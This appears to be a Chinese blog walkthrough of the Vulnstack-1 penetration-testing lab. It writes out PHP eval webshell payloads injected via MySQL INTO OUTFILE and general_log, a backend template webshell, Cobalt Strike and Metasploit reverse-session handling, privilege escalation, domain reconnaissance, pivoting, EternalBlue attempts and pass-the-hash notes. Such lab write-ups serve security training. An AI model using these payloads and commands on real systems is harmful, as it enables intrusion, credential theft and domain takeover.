vlunstack-1(横向,phpmyadmin拿shell,xycms拿shell,cs和msf联动)

embedded/2024/11/9 16:45:34/

Vulnstack-1

内网环境搭建

环境配置:

csdnimg.cn/direct/d08f69afc55647909ae863a35a510506.png" width="693" />

靶机介绍

包括win7的web端,还有win2003为域成员,域控为win2008
win7内网ip:192.168.157.153
外网ip:192.168.52.143
域成员 win2003 ip 192.168.52.141
域控 win2008 ip 192.168.52.138

hongrisec@2021

网络环境搭建

Win7

csdnimg.cn/direct/76188f0be7354be1ac2ddb4eee77c2f9.png" width="691" />

csdnimg.cn/direct/6e35c206a6994f35bcf91490d1829204.png" width="692" />

win2003

和win2008

直接主机模式就可以了不需要出网

csdnimg.cn/direct/2b5d66a6e43d481d8ea6e7110db614ac.png" width="692" />

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段:

在虚拟机编辑中打开

csdnimg.cn/direct/bd5c1fc109f244efb1f2180c9a61855f.png" width="552" />

、设置完成后win7是可以出网的

csdnimg.cn/direct/63997a036ed3411db873fdbc49d6f192.png" width="692" />

解决phpstudy报错问题

cd C:\phpStudy\Apache\bin

进入该目录后输入两条命令

httpd.exe -k install

httpd.exe -k -n apache2.4

Win+r

输入:services.msc

csdnimg.cn/direct/ba291acbbc5d4e43b3525bea1b4147ca.png" width="691" />

再进入

cd C:\phpStudy\MySQL\bin

进入该目录后

mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables

启动数据库服务

访问127.0.0.1

csdnimg.cn/direct/44c3c17dad434c37b35ff75ef6a0b056.png" width="692" />

到这里外网环境搭建完成

外网突破

弱口令存在

页面存在root,root弱口令登录数据库

csdnimg.cn/direct/e6cf9e3ddbaf4340890a11b6f442b645.png" width="692" />

但是没有什么作用

目录扫描

Dirsearch扫描

csdnimg.cn/direct/4c5bc77fb3444ea48c722b8b9a6e74bf.png" width="692" />

访问 PhpMyAdmin (它是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库),如下图所示:

csdnimg.cn/direct/39089b9e3eae4238af21ff83bac5aa50.png" width="692" />

弱口令登录后台

root/root,成功进入后台

csdnimg.cn/direct/7ecd2e78f6ce4f26a8da3c599c5e852d.png" width="691" />

Phpmyadmin getshell的两种方法尝试

先尝试直接使用into outfile导出木马的方式是否可行,先执行select @@basedir;查网站的物理路径

Payload:

select @@basedir;

csdnimg.cn/direct/c5e787aabb33498887e5d4ee8e476520.png" width="692" />

那么执行select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';写入木马到网站的根目录

Payload:

select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/111.php';

csdnimg.cn/direct/21490e9d32134bb3807fcbe92526bc0e.png" width="692" />

发现配置文件没有开启该权限

直接写入木马不行,那就换另一种方法——通过 MySQL 日志导入木马。先执行命令:show variables like '%general%'; 查看日志状态:

Payload:

show variables like '%general%';

csdnimg.cn/direct/ac53a5c251ed4d24892d8980c3cc2fe6.png" width="693" />

当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值,则所执行的 SQL 语句就会对应生成对应的文件中,进而可 Getshell。故执行命令:SET GLOBAL general_log='on';

Paylaod:SET GLOBAL general_log='on';

csdnimg.cn/direct/51b2ed6ca83c44a68c0db97f27a5dcaf.png" width="692" />

开启成功

执行命令:SET GLOBAL general_log_file='C:/phpStudy/www/111.php',指定日志写入到网站根目录的 111.php 文件:

Payload:SET GLOBAL general_log_file='C:/phpStudy/www/111.php';

csdnimg.cn/direct/d310564b7de14175b26891db3d573a49.png" width="692" />

接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 111.php 文件中:

Payload: SELECT '<?php eval($_POST["cmd"]);?>'

csdnimg.cn/direct/69771e46e65e4706839b32208bd51aab.png" width="692" />

哥斯拉连接getshell

csdnimg.cn/direct/e0c7dcc83ee94d9daa1fd96efe7e2c7e.png" width="692" />

CMS后台上传GetShell

御剑扫描

扫描发现压缩包

csdnimg.cn/direct/6793dd6e9d174c0293c74d5c25c74685.png" width="691" />

尝试访问网页

csdnimg.cn/direct/ebdbe4d3740c4f3cbb93ecb3c17bfee9.png" width="692" />

发现信息泄露

csdnimg.cn/direct/0d00490a42b84c628a0035f7dc0cc5e5.png" width="692" />

企业信息管理系统_用户登录

csdnimg.cn/direct/3a228b9a2493485ba989689471e2bc3d.png" width="691" />

进入后台后

csdnimg.cn/direct/474ff1bee2504a50ada6e677f853ac35.png" width="692" />

创建shell文件

写入一句话木马

<?php eval($_POST["cmd"];?>

csdnimg.cn/direct/6c55748a3273469bb3de5da2a16f54c5.png" width="691" />

创建成功后我们通过刚刚拿到的网站源码,进行文件目录查找,最后找到木马生成后的位置在/yxcms/protected/apps/default/view/default/路径下,如下

csdnimg.cn/direct/97802106e13e4a0199f94481f53a1a5b.png" width="571" />

哥斯拉连接拿shell

csdnimg.cn/direct/3c738fac1fb44481a580d648560b814d.png" width="692" />

开启cs端口

ufw allow 50050

csdnimg.cn/direct/bd5113da754f4204ae064290642ef029.png" width="692" />

内网信息探测

Cs启动,用外网服务器

csdnimg.cn/direct/5465e066eaea4bcaa762be957d22b1dd.png" width="692" />

哥斯拉上传木马

csdnimg.cn/direct/5aff1e575c0547658599698891cf1bd2.png" width="691" />

Win7查看上传成功了

csdnimg.cn/direct/0cfd52f17dbb44cbbdd338390e33c357.png" width="691" />

运行成功后成功上线

csdnimg.cn/direct/6fadf49bc1184f5abc38e1dc10dd10b6.png" width="692" />

设置会连时间sleep 0

利用ms 14-058进行权限提升

csdnimg.cn/direct/a6908e41a34b44a59667e334f3ad078e.png" width="692" />

域信息收集命令;net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域god.org,如下图所示

csdnimg.cn/direct/a0e69bddf1aa4fe9928541ed77f06f34.png" width="692" />

者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息

上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域环境可能存在多个域):

csdnimg.cn/direct/22f783a9944d4145939da2e8fb8a730d.png" width="692" />

既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 OWA:

csdnimg.cn/direct/0d021b3b00474a609e8e158e58ef07f1.png" width="692" />

已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:

csdnimg.cn/direct/41241305a8db43a2bbc1f5825ee059c1.png" width="692" />

局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain 查看域中的其他主机名,发现包含ROOT-TVI862UBEH,故域中还包含一个域成员主机192.168.52.141,如下所示:

csdnimg.cn/direct/0d968ca486c8427f862b2c8db0872203.png" width="692" />

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

横向移动

接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。

内网安全:Cobalt Strike 与 MSF 联动( 会话 相互转移 )_msfconsole的background挂起会话后怎么启动会话-CSDN博客csdnimg.cn/release/blog_editor_html/release2.3.6/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=N7T8" alt="icon-default.png?t=N7T8" />https://blog.csdn.net/weixin_54977781/article/details/131178720?ops_request_misc=%7B%22request%5Fid%22%3A%22172250449416800213084897%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=172250449416800213084897&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-131178720-null-null.142^v100^pc_search_result_base9&utm_term=cobalt strike4.7%E8%81%94%E5%8A%A8msf&spm=1018.2226.3001.4187

服务器安装msf

chmod 755 msfinstall.sh && ./msfinstall.sh

会话转移

(1)msfconsole                    // 打开 MSF 工具

(2)use exploit/multi/handler                                   // 设置 监听 模块.

(3)set payload windows/meterpreter/reverse_http                // 设置 payload

(4)set lport 4444                     // 设置一个端口(和上面的监听一样的端口)

(5)set lhost 0.0.0.0                    // 设置本地的 IP 地址

(6)exploit                              // 进行测试

csdnimg.cn/direct/37fd002094f840008fb1f4037fc71437.png" width="692" />

Cs生成外联监听器

csdnimg.cn/direct/d09ec29b02ab4570bbaa83a003679868.png" width="692" />

权力委派上线成功

新建会话

csdnimg.cn/direct/155142dfb7f845daa319087af49d5283.png" width="692" />

获得 MSF 的会话后即可使用 MSF 集成的诸多强大功能模块和脚本。简单演示下,如调用post/windows/gather/checkvm判断靶机是否属于虚拟机(检查是否进入了蜜罐):

csdnimg.cn/direct/7d63149ece824dc78b5f50d042c29381.png" width="693" />

MSF进行永恒之蓝攻击

公网 VPS 上 MSF 获得会话后,目标是借助 MSF 集成的攻击模块开展横向渗透拿下内网其他机器。

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。

首先需要使用配置静态路由:

#加载MSF的autoroute模块,获取当前机器的所有网段信息

meterpreter > run post/multi/manage/autoroute  

#添加目标内网路由

meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

csdnimg.cn/direct/94bf9c6144f847d685dfc08b0daab45a.png" width="692" />

已经添加

csdnimg.cn/direct/4c1094b66aa647bfbaaf47505e23ea57.png" width="509" />

MSF内网端口扫描

现在路由可达内网网段,可以先对内网主机进行探测。

1、先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:

csdnimg.cn/direct/bac270e40f0b42688857dab352db6c30.png" width="692" />

msf6 > use auxiliary/scanner/portscan/tcp

msf6 > set rhosts 192.168.52.141

msf6 > set ports 80,135-139,445,3306,3389

msf6 > run

csdnimg.cn/direct/8e2b8d64de384144bc7f62ad5d84075d.png" width="693" />

发现开启了 445 端口:

set rhosts 192.168.52.138

同样的方法,发现域控主机192.168.52.138也开启了 445 端

csdnimg.cn/direct/98692064f9e84470bd0d36e2eea359b7.png" width="692" />

利用ms17-010进行攻击

1、对于开启了 445 端口的 Windows 服务器,肯定是要进行一波永恒之蓝扫描尝试的,借助 MSF 自带的漏洞扫描模块进行扫描:

msf6 > search ms17_010 #搜索MSF集成的与ms17\_010漏洞相关的模块

msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp

msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP

msf6 >run  #进行扫描,观察是否存在该漏洞

csdnimg.cn/direct/e2cb7e945790437fb78dd865331cceb8.png" width="692" />

msf6 >set rhosts 192.168.52.138 #设置被扫描的主机IP

csdnimg.cn/direct/9e72f9c710204db6baaee9fa5bd627ba.png" width="692" />

接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP:

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 > set payload windows/x64/meterpreter/bind_tcp

msf6 > set rhosts 192.168.52.138

msf6 > run

好像拿不到shell

csdnimg.cn/direct/561321031ab643cfa4ed74acb5ba4dc8.png" width="692" />

MSF哈希传递攻击PTH(未完成)

上面既然通过永恒之蓝漏洞难以获得域控主机的 Shell,那就换一种攻击思路拿下域控吧,下面演示的是通过哈希传递攻击 PTH 拿下域控主机。PTH 的相关概念和知识可以参见我的另一篇博文:浅析Windows域环境身份认证与攻击思路。

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。

在域环境中,利用哈希传递攻击的渗透方式往往是这样的:

获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;

通过哈希传递攻击尝试登录其他主机;

继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。

下面使用 Metasploit 来进行本靶场环境的进行 PTH 攻击演示:

  1. 进行哈希传递攻击的前提是获得已知主机用户的密码 Hash 值,MSF 中自带 mimikatz 模块(在 MSF6 中已被更强大的 kiwi 模块取代)可以进行哈希凭证窃取,用法可参见博文:Metasploit-进阶用户密码与mimikatz模块kiwi模块,此处不演示。大道至简,直接借助 CS 进行用户哈希凭证窃取:

【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。在域环境中,利用哈希传递攻击的渗透方式往往是这样的:    1.获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;    2.通过哈希传递攻击尝试登录其他主机;    3.继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。


http://www.ppmy.cn/embedded/88907.html

相关文章

常用命令git branch

Git Branch 命令总结 列出分支 git branch&#xff1a;显示本地分支&#xff0c;当前分支会被标记。git branch -r&#xff1a;显示远程分支。git branch -a&#xff1a;显示所有本地和远程分支。 创建分支 git branch <branch_name>&#xff1a;创建一个新分支但不自…

批发行业手机开单-手机开单 源码CyberWinApp-SAAS 本地化及未来之窗行业应用跨平台架构

一、saas本地化优势 它的优点令人瞩目&#xff1a; 其一&#xff0c;访问速度似闪电&#xff0c;瞬间呈现精彩内容&#xff0c;让您告别漫长等待&#xff0c;就像在信息高速公路上驾驶着超级跑车&#xff0c;一路畅行无阻。 其二&#xff0c;摆脱网络束缚&#xff0c;不受网络…

sdwan

分支互联网络解决方案 - 华为企业业务 分支互联网络解决方案 随着5G、AI、物联网等新兴技术与云紧密结合&#xff0c;企业业务智能化和云化加速。 企业分支WAN流量激增&#xff0c;传统以MPLS专线为主的广域互联网络难以支撑业务发展。SD-WAN成为应对云时代的必然选择。 SD…

大语言模型(LLM)快速理解

自2022年&#xff0c;ChatGPT发布之后&#xff0c;大语言模型&#xff08;Large Language Model&#xff09;&#xff0c;简称LLM掀起了一波狂潮。作为学习理解LLM的开始&#xff0c;先来整体理解一下大语言模型。 一、发展历史 大语言模型的发展历史可以追溯到早期的语言模型…

SpringBoot_第十章(日志)

目录 1&#xff1a;SpringBoot日志 2&#xff1a;项目启动日志验证 3&#xff1a;springboot日志级别 4&#xff1a;日志输出和级别控制 5&#xff1a;LogBack外部日志文件输出 6&#xff1a;自定义日志外部输出 6.1&#xff1a;logBack外部日志输出 6.2&#xff1a;log…

差分法求解 Burgers 方程(附完整MATLAB 及 Python代码)

Burgers 方程的数值解及误差分析 引言 Burgers 方程是一个非线性偏微分方程&#xff0c;在流体力学、非线性声学和交通流理论中有广泛应用。本文将通过数值方法求解带粘性的 Burgers 方程&#xff0c;并分析其误差。 方程模型 Burgers 方程的形式为&#xff1a; u t u u …

Python实战——轻松实现动态网页爬虫(附详细源码)

大家好&#xff0c;我是东眠的鱼&#xff0c;专注原创&#xff0c;致力于用浅显易懂的语言分享爬虫、数据分析及可视化等干货&#xff0c;希望人人都能学到新知识。<文末附带精品籽料哦&#xff0c;也可以和博主一起学Python呀&#xff01;> 项目背景 有同学自学爬虫时…

Android入门之路 - WebView加载数据的几种方式

之前客户端加载H5时遇到了一些问题&#xff0c;我为了方便解决问题&#xff0c;所以将对应场景复刻到了Demo中&#xff0c;从之前的网络加载模拟为了本地加载Html的方式&#xff0c;但是没想到无意被一个基础知识点卡了一些时间&#xff0c;翻看往昔笔记发现未曾记录这种基础场…